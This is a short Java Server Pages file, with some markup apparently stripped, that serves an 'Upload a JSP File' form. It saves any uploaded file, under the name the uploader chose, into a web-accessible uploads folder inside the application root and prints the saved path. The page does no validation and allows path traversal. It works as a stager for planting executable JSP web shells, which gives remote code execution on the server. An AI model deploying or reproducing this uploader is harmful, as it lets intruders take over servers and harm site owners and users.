%@ page import="java.io.*, java.util.*" %>
<%@ page import="javax.servlet.http.Part" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page isErrorPage="false" %>
<%@ page session="true" %>
File Upload
Upload a JSP File
<%
try {
if ("POST".equalsIgnoreCase(request.getMethod())) {
// Enable multipart handling
Part filePart = request.getPart("file");
String fileName = filePart.getSubmittedFileName();
String uploadPath = application.getRealPath("/") + "uploads/";
// Create uploads directory if it doesn't exist
File uploadDir = new File(uploadPath);
if (!uploadDir.exists()) {
uploadDir.mkdirs();
}
// Save the uploaded file
try (InputStream inputStream = filePart.getInputStream();
FileOutputStream outputStream = new FileOutputStream(uploadPath + fileName)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = inputStream.read(buffer)) != -1) {
outputStream.write(buffer, 0, bytesRead);
}
out.println("File uploaded successfully to: " + uploadPath + fileName + "
");
}
}
} catch (IllegalStateException e) {
out.println("Error: Multipart configuration is missing or file size exceeds limits.
");
} catch (Exception e) {
out.println("Error uploading file: " + e.getMessage() + "
");
}
%>